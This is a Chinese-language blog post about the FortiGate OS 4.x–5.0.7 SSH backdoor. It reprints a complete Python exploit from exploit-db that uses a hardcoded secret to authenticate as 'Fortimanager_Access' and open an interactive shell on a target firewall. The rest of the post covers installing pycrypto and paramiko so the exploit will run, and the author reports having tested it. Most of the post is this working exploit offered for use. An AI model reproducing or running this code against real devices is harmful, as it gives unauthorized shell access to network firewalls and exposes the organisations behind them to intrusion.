FortiGate是Fortinet公司的硬件防火墙品牌,防火墙用的系统应该就是FortiGate OS(飞塔系统),貌似公司创始人是华裔,看介绍是一家全球性的网络安全设备供应商,好霸气。
看国内转发的文章是说,是老外在twitter上发布的,看样子以后得多去twitter上瞅瞅了,贴上exploit-db上的利用payload,代码如下:
#!/usr/bin/env python # SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7 # Usage: ./fgt_ssh_backdoor.py <target-ip> import socket import select import sys import paramiko from paramiko.py3compat import u import base64 import hashlib import termios import tty def custom_handler(title, instructions, prompt_list): n = prompt_list[0][0] m = hashlib.sha1() m.update('\x00' * 12) m.update(n + 'FGTAbc11*xy+Qqz27') m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70') h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest()) return [h] def main(): if len(sys.argv) < 2: print 'Usage: ' + sys.argv[0] + ' <target-ip>' exit(-1) client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False) except paramiko.ssh_exception.SSHException: pass trans = client.get_transport() try: trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True) except paramiko.ssh_exception.AuthenticationException: pass trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler) chan = client.invoke_shell() oldtty = termios.tcgetattr(sys.stdin) try: tty.setraw(sys.stdin.fileno()) tty.setcbreak(sys.stdin.fileno()) chan.settimeout(0.0) while True: r, w, e = select.select([chan, sys.stdin], [], []) if chan in r: try: x = u(chan.recv(1024)) if len(x) == 0: sys.stdout.write('\r\n*** EOF\r\n') break sys.stdout.write(x) sys.stdout.flush() except socket.timeout: pass if sys.stdin in r: x = sys.stdin.read(1) if len(x) == 0: break chan.send(x) finally: termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty) if __name__ == '__main__': main()
测试了一下EXP,如图:
exp要安装很多模块,win下好像是没有termios模块的,因此建议在linux下测试,遇到一些错误也记录下。
Python中使用SSH连接,需要用到OpenSSH,而OpenSSH依赖于paramiko模块,而paramiko模块又依赖于pycrypto模块,因此要在Python中使用SSH,则需要先安装模块顺序是:
pycrypto -> paramiko,win下用pip.exe安装pycrypto模块好像会缺少PublicKey这个函数,也会提示”error: Unable to find vcvarsall.bat”错误,因此建议通过如下URL下载对应版本安装:
http://www.voidspace.org.uk/python/modules.shtml#pycrypto
测试EXP建议使用linux,pip安装模块的时候报错了:error: command ‘gcc’ failed with exit status 1
解决方案:
yum install gcc python-devel